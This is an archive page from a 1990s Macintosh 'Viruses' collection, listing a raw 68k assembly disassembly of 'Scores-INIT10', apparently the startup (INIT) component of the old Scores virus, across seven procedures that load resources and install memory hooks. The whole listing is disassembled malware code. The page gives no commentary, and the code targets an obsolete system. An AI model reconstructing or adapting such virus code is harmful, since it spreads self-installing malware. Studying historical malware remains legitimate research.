home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Viruses / Scores-INIT10.txt < prev    next >
Text File  |  1998-08-05  |  8KB  |  347 lines
  1.  
  2. ;Seg 1 = INIT ID# 10 proc 1 of 7 (local)
  3.  
  4. 0000: L0000    BRA.S    L0006
  5. 0002: L0002    SUB.L    D7,-(A6)
  6. 0004:     SLT    (A1)
  7. 0006: L0006    MOVEA.L    A0,A4
  8. 0008:     _HNoPurge    
  9. 000A:     MOVEA.L    A4,A0
  10. 000C:     _HLock    
  11. 000E:     MOVE.L    L0002,D0
  12. 0012:     ADDI.L    #$0002A300,D0
  13. 0018:     CMP.L    $020C,D0
  14. 001C:     BGT.S    L0022
  15. 001E:     JSR    locProc2
  16. 0022: L0022    RTS    
  17. 0024: L0024    .WORD    $206F,4,$A029,$4E75    ;[ o...)Nu]
  18. 002C: L002C    .WORD    $206F,4,$A02A,$4E75    ;[ o...*Nu]
  19. 0034: L0034    .WORD    $202F,$C,$226F,8    ;[ /.."o..]
  20. 003C:     .WORD    $206F,4,$A02E,$4E75    ;[ o....Nu]
  21. 0044:     .WORD    $202F,4,$A122,$21C0    ;[ /..."!.]
  22. 004C:     .WORD    $220,$2008,$4E75,$2038    ;[.  .Nu 8]
  23. 0054:     .WORD    $2A6,$4E75,$206F,4    ;[..Nu o..]
  24. 005C:     .WORD    $A01B,$21C0,$220,$4E75    ;[..!.. Nu]
  25. 0064:     .WORD    $A11A,$21C0,$220,$2008    ;[..!..  .]
  26. 006C:     .WORD    $4E75,$4C44,$574D    ;[NuLDWM..]
  27.  
  28. ;Seg 1 = INIT ID# 10 proc 2 of 7 (local)
  29.  
  30. 0000: L0072    LINK    A6,#$FEDC
  31. 0004:     BTST    #$0002,$017B
  32. 000A:     BEQ.S    L008A
  33. 000C:     BTST    #$0007,$017A
  34. 0012:     BEQ.S    L008A
  35. 0014:     BRA    L010A
  36. 0018: L008A    JSR    locProc3
  37. 001C:     TST.L    D0
  38. 001E:     BEQ.S    L0096
  39. 0020:     BRA    L010A
  40. 0024: L0096    PEA    $FFF0(A6)
  41. 0028:     PEA    $FFEC(A6)
  42. 002C:     JSR    locProc5
  43. 0030:     TST.L    D0
  44. 0032:     ADDQ.L    #8,A7
  45. 0034:     BEQ.S    L00AE
  46. 0036:     PEA    $0005
  47. 003A:     BRA.S    L0100
  48. 003C: L00AE    PEA    $FFFC(A6)
  49. 0040:     PEA    $FFF8(A6)
  50. 0044:     PEA    $FEE6(A6)
  51. 0048:     PEA    $FFF4(A6)
  52. 004C:     MOVE.L    $FFF0(A6),-(A7)
  53. 0050:     MOVE.L    $FFEC(A6),-(A7)
  54. 0054:     JSR    locProc6
  55. 0058:     TST.L    D0
  56. 005A:     LEA    $0018(A7),A7
  57. 005E:     BEQ.S    L00D8
  58. 0060:     PEA    $000F
  59. 0064:     BRA.S    L0100
  60. 0066: L00D8    MOVE.L    $FFFC(A6),-(A7)
  61. 006A:     MOVE.L    $FFF8(A6),-(A7)
  62. 006E:     PEA    $FEE6(A6)
  63. 0072:     MOVE.L    $FFF4(A6),-(A7)
  64. 0076:     MOVE.L    $FFF0(A6),-(A7)
  65. 007A:     MOVE.L    $FFEC(A6),-(A7)
  66. 007E:     JSR    locProc4
  67. 0082:     TST.L    D0
  68. 0084:     LEA    $0018(A7),A7
  69. 0088:     BEQ.S    L010A
  70. 008A:     PEA    $0014
  71. 008E: L0100    JSR    locProc7
  72. 0092:     MOVEQ    $00,D0
  73. 0094:     ADDQ.L    #4,A7
  74. 0096:     BRA.S    L010C
  75. 0098: L010A    MOVEQ    $00,D0
  76. 009A: L010C    UNLK    A6
  77. 009C:     RTS    
  78. 009E: L0110    .WORD    $48E7,$3000,$242F,$C    ;[H.0.$/..]
  79. 00A6:     .WORD    $4EBA,$FF4A,$2600,$4EBA    ;[N..J&.N.]
  80. 00AE:     .WORD    $FF32,$2F00,$4EBA,$FF32    ;[.2/.N..2]
  81. 00B6:     .WORD    $2F02,$4EBA,$FF18,$2400    ;[/.N...$.]
  82. 00BE:     .WORD    $2F03,$4EBA,$FF24,$4FEF    ;[/.N..$O.]
  83. 00C6:     .WORD    $C,$2002,$4CDF,$C    ;[.. .L...]
  84. 00CE:     .WORD    $4E75    ;[Nu......]
  85.  
  86. ;Seg 1 = INIT ID# 10 proc 3 of 7 (local)
  87.  
  88. 0000: L0142    MOVEA.L    $011C,A0
  89. 0004:     LEA    $00B0(A0),A0
  90. 0008:     TST.L    (A0)
  91. 000A:     BNE.S    L0152
  92. 000C:     MOVEQ    $00,D0
  93. 000E:     BRA.S    L0154
  94. 0010: L0152    MOVEQ    $01,D0
  95. 0012: L0154    RTS    
  96.  
  97. ;Seg 1 = INIT ID# 10 proc 4 of 7 (local)
  98.  
  99. 0000: L0156    MOVEM.L    D2-D3/A2-A4,-(A7)
  100. 0004:     MOVEA.L    $0018(A7),A3
  101. 0008:     MOVE.L    $001C(A7),D0
  102. 000C:     MOVEA.L    $0020(A7),A2
  103. 0010:     MOVEA.L    A2,A0
  104. 0012:     LEA    $011E(A0),A0
  105. 0016:     CMP.L    A0,D0
  106. 0018:     BCC.S    L0176
  107. 001A:     MOVEQ    $02,D0
  108. 001C:     BRA    L0248
  109. 0020: L0176    PEA    $0028
  110. 0024:     JSR    L0110
  111. 0028:     MOVE.L    D0,D2
  112. 002A:     PEA    $0008
  113. 002E:     JSR    L0110
  114. 0032:     MOVE.L    D0,D3
  115. 0034:     MOVE.L    D2,-(A7)
  116. 0036:     JSR    L0024
  117. 003A:     MOVE.L    D3,-(A7)
  118. 003C:     JSR    L0024
  119. 0040:     MOVEA.L    D2,A4
  120. 0042:     MOVE.L    (A4),D1
  121. 0044:     MOVEA.L    D3,A4
  122. 0046:     MOVE.L    (A4),D0
  123. 0048:     MOVEA.L    D0,A4
  124. 004A:     MOVE.L    A2,$0004(A4)
  125. 004E:     CLR.L    (A2)
  126. 0050:     MOVEA.L    $0034(A7),A0
  127. 0054:     LEA    $0008(A2),A1
  128. 0058:     MOVE.W    (A0)+,(A1)+
  129. 005A:     MOVE.W    (A0)+,(A1)+
  130. 005C:     MOVE.W    (A0)+,(A1)+
  131. 005E:     MOVE.L    $0038(A7),$0012(A2)
  132. 0064:     MOVE.L    $003C(A7),$0016(A2)
  133. 006A:     MOVEA.L    D0,A4
  134. 006C:     CLR.L    (A4)
  135. 006E:     MOVEA.L    A3,A0
  136. 0070:     MOVEA.L    D1,A4
  137. 0072:     MOVE.L    A3,(A4)
  138. 0074:     MOVE.W    (A0),D0
  139. 0076:     EXT.L    D0
  140. 0078:     ANDI.L    #$0000FF00,D0
  141. 007E:     MOVEA.L    D1,A4
  142. 0080:     MOVE.W    D0,$0004(A4)
  143. 0084:     MOVEA.L    D1,A4
  144. 0086:     ORI.W    #$0020,$0004(A4)
  145. 008C:     MOVEA.L    D1,A4
  146. 008E:     CLR.W    $0006(A4)
  147. 0092:     MOVEA.L    D1,A4
  148. 0094:     CLR.L    $0008(A4)
  149. 0098:     MOVEA.L    D1,A4
  150. 009A:     CLR.L    $000C(A4)
  151. 009E:     MOVEA.L    D1,A4
  152. 00A0:     CLR.L    $0010(A4)
  153. 00A4:     MOVEA.L    D1,A4
  154. 00A6:     MOVE.L    D3,$0014(A4)
  155. 00AA:     MOVEA.L    D1,A4
  156. 00AC:     MOVE.W    #$FFD3,$0018(A4)
  157. 00B2:     MOVEA.L    D1,A4
  158. 00B4:     CLR.L    $001A(A4)
  159. 00B8:     MOVEA.L    D1,A4
  160. 00BA:     CLR.L    $001E(A4)
  161. 00BE:     MOVEA.L    D1,A4
  162. 00C0:     MOVE.W    $0002(A0),$0022(A4)
  163. 00C6:     MOVEA.L    D1,A4
  164. 00C8:     MOVE.W    $0004(A0),$0024(A4)
  165. 00CE:     MOVEA.L    D1,A4
  166. 00D0:     MOVE.W    $0006(A0),$0026(A4)
  167. 00D6:     MOVEA.L    $011C,A0
  168. 00DA:     LEA    $00B0(A0),A0
  169. 00DE:     MOVE.L    D2,(A0)
  170. 00E0:     MOVE.L    D2,-(A7)
  171. 00E2:     JSR    L002C
  172. 00E6:     MOVE.L    D3,-(A7)
  173. 00E8:     JSR    L002C
  174. 00EC:     MOVEQ    $00,D0
  175. 00EE:     LEA    $0018(A7),A7
  176. 00F2: L0248    MOVEM.L    (A7)+,D2-D3/A2-A4
  177. 00F6:     RTS    
  178.  
  179. ;Seg 1 = INIT ID# 10 proc 5 of 7 (local)
  180.  
  181. 0000: L024E    MOVEA.L    $0004(A7),A0
  182. 0004:     MOVEA.L    $0008(A7),A1
  183. 0008:     MOVE.L    $0108,D1
  184. 000C:     ASR.L    #$0001,D1
  185. 000E:     ADDI.L    #$00000400,D1
  186. 0014:     MOVE.L    $010C,D0
  187. 0018:     SUBI.L    #$00003C00,D0
  188. 001E:     CMP.L    D0,D1
  189. 0020:     BLT.S    L0274
  190. 0022:     MOVEQ    $01,D1
  191. 0024:     BRA.S    L0298
  192. 0026: L0274    MOVE.L    $010C,(A1)
  193. 002A:     SUBI.L    #$00003C00,$010C
  194. 0032:     MOVE.L    $010C,D1
  195. 0036:     MOVEQ    $FC,D0
  196. 0038:     AND.L    D0,D1
  197. 003A:     MOVE.L    D1,$010C
  198. 003E:     MOVE.L    $010C,D1
  199. 0042:     MOVEQ    $10,D0
  200. 0044:     ADD.L    D0,D1
  201. 0046:     MOVE.L    D1,(A0)
  202. 0048:     MOVEQ    $00,D1
  203. 004A: L0298    MOVE.L    D1,D0
  204. 004C:     RTS    
  205.  
  206. ;Seg 1 = INIT ID# 10 proc 6 of 7 (local)
  207.  
  208. 0000: L029C    MOVEM.L    D2-D4/A2-A3,-(A7)
  209. 0004:     MOVE.L    $0018(A7),D3
  210. 0008:     MOVE.L    $001C(A7),D4
  211. 000C:     MOVEA.L    $0020(A7),A2
  212. 0010:     SUBQ.L    #4,A7
  213. 0012:     MOVE.L    #$6174706C,-(A7)    ;'atpl'
  214. 0018:     MOVE.W    #$0080,-(A7)
  215. 001C:     _GetResource    
  216. 001E:     MOVE.L    (A7)+,D0
  217. 0020:     MOVEA.L    D0,A3
  218. 0022:     SUBQ.L    #2,A7
  219. 0024:     _ResError    
  220. 0026:     MOVE.W    (A7)+,D0
  221. 0028:     EXT.L    D0
  222. 002A:     MOVE.W    D0,D0
  223. 002C:     BEQ.S    L02D0
  224. 002E:     MOVEQ    $09,D0
  225. 0030:     BRA    L0392
  226. 0034: L02D0    MOVE.L    A3,-(A7)
  227. 0036:     JSR    L0024
  228. 003A:     SUBQ.L    #4,A7
  229. 003C:     MOVE.L    A3,-(A7)
  230. 003E:     _SizeRsrc    
  231. 0040:     MOVE.L    (A7)+,D0
  232. 0042:     MOVE.L    D0,D2
  233. 0044:     ADDQ.L    #4,A7
  234. 0046:     BLT    L02EE
  235. 004A:     MOVE.L    D2,D0
  236. 004C:     ADD.L    D3,D0
  237. 004E:     CMP.L    D0,D4
  238. 0050:     BCC.S    L02F4
  239. 0052: L02EE    MOVEQ    $01,D0
  240. 0054:     BRA    L0392
  241. 0058: L02F4    MOVE.L    D2,-(A7)
  242. 005A:     MOVE.L    D3,-(A7)
  243. 005C:     MOVE.L    (A3),-(A7)
  244. 005E:     JSR    L0034
  245. 0062:     MOVE.L    D2,D0
  246. 0064:     ADDQ.L    #4,D0
  247. 0066:     MOVEQ    $FE,D1
  248. 0068:     AND.L    D1,D0
  249. 006A:     MOVE.L    D0,D2
  250. 006C:     ADD.L    D2,D3
  251. 006E:     MOVE.L    A3,-(A7)
  252. 0070:     JSR    L002C
  253. 0074:     MOVE.L    A3,-(A7)
  254. 0076:     _ReleaseResource    
  255. 0078:     SUBQ.L    #4,A7
  256. 007A:     MOVE.L    #$44415441,-(A7)    ;'DATA'
  257. 0080:     MOVE.W    #$F05F,-(A7)
  258. 0084:     _GetResource    
  259. 0086:     MOVE.L    (A7)+,D0
  260. 0088:     MOVEA.L    D0,A3
  261. 008A:     SUBQ.L    #2,A7
  262. 008C:     _ResError    
  263. 008E:     MOVE.W    (A7)+,D0
  264. 0090:     EXT.L    D0
  265. 0092:     MOVE.W    D0,D0
  266. 0094:     LEA    $0010(A7),A7
  267. 0098:     BEQ.S    L033A
  268. 009A:     MOVEQ    $06,D0
  269. 009C:     BRA.S    L0392
  270. 009E: L033A    MOVE.L    A3,-(A7)
  271. 00A0:     JSR    L0024
  272. 00A4:     SUBQ.L    #4,A7
  273. 00A6:     MOVE.L    A3,-(A7)
  274. 00A8:     _SizeRsrc    
  275. 00AA:     MOVE.L    (A7)+,D0
  276. 00AC:     MOVE.L    D0,D2
  277. 00AE:     MOVEA.L    $002C(A7),A0
  278. 00B2:     MOVE.L    D3,(A0)
  279. 00B4:     MOVEA.L    $0030(A7),A0
  280. 00B8:     MOVE.L    D2,(A0)
  281. 00BA:     TST.L    D2
  282. 00BC:     ADDQ.L    #4,A7
  283. 00BE:     BLT    L0366
  284. 00C2:     MOVE.L    D2,D0
  285. 00C4:     ADD.L    D3,D0
  286. 00C6:     CMP.L    D0,D4
  287. 00C8:     BCC.S    L036A
  288. 00CA: L0366    MOVEQ    $07,D0
  289. 00CC:     BRA.S    L0392
  290. 00CE: L036A    MOVE.L    D2,-(A7)
  291. 00D0:     MOVE.L    D3,-(A7)
  292. 00D2:     MOVE.L    (A3),-(A7)
  293. 00D4:     JSR    L0034
  294. 00D8:     MOVE.L    D2,D0
  295. 00DA:     ADDQ.L    #4,D0
  296. 00DC:     MOVEQ    $FE,D1
  297. 00DE:     AND.L    D1,D0
  298. 00E0:     MOVE.L    D0,D2
  299. 00E2:     ADD.L    D2,D3
  300. 00E4:     MOVE.L    A3,-(A7)
  301. 00E6:     JSR    L002C
  302. 00EA:     MOVE.L    A3,-(A7)
  303. 00EC:     _ReleaseResource    
  304. 00EE:     MOVE.L    D3,(A2)
  305. 00F0:     MOVEQ    $00,D0
  306. 00F2:     LEA    $0010(A7),A7
  307. 00F6: L0392    MOVEM.L    (A7)+,D2-D4/A2-A3
  308. 00FA:     RTS    
  309.  
  310. ;Seg 1 = INIT ID# 10 proc 7 of 7 (local)
  311.  
  312. 0000: L0398    LINK    A6,#$FFE0
  313. 0004:     MOVEM.L    D2-D4,-(A7)
  314. 0008:     MOVE.L    $0008(A6),D2
  315. 000C:     MOVEQ    $09,D4
  316. 000E:     MOVE.B    #$24,$FFE3(A6)    ;'$'
  317. 0014:     BRA.S    L03DE
  318. 0016: L03AE    MOVE.W    D2,D1
  319. 0018:     ANDI.W    #$000F,D1
  320. 001C:     MOVE.W    D1,D0
  321. 001E:     CMPI.W    #$0009,D0
  322. 0022:     BLE.S    L03C8
  323. 0024:     MOVE.W    D4,D1
  324. 0026:     SUBQ.W    #1,D4
  325. 0028:     MOVE.W    D1,D3
  326. 002A:     EXT.L    D0
  327. 002C:     MOVEQ    $37,D1
  328. 002E:     BRA.S    L03D2
  329. 0030: L03C8    MOVE.W    D4,D1
  330. 0032:     SUBQ.W    #1,D4
  331. 0034:     MOVE.W    D1,D3
  332. 0036:     EXT.L    D0
  333. 0038:     MOVEQ    $30,D1
  334. 003A: L03D2    ADD.L    D1,D0
  335. 003C:     MOVE.B    D0,$E2(A6,D3.W)
  336. 0040:     MOVE.L    D2,D0
  337. 0042:     ASR.L    #$0004,D0
  338. 0044:     MOVE.L    D0,D2
  339. 0046: L03DE    CMPI.W    #$0001,D4
  340. 004A:     BGT    L03AE
  341. 004E:     MOVE.B    #$09,$FFE2(A6)
  342. 0054:     PEA    $FFE2(A6)
  343. 0058:     UNKNOWN    
  344. 005A:     MOVEM.L    $FFD4(A6),D2-D4
  345. 0060:     UNLK    A6
  346. 0062:     RTS    
  347.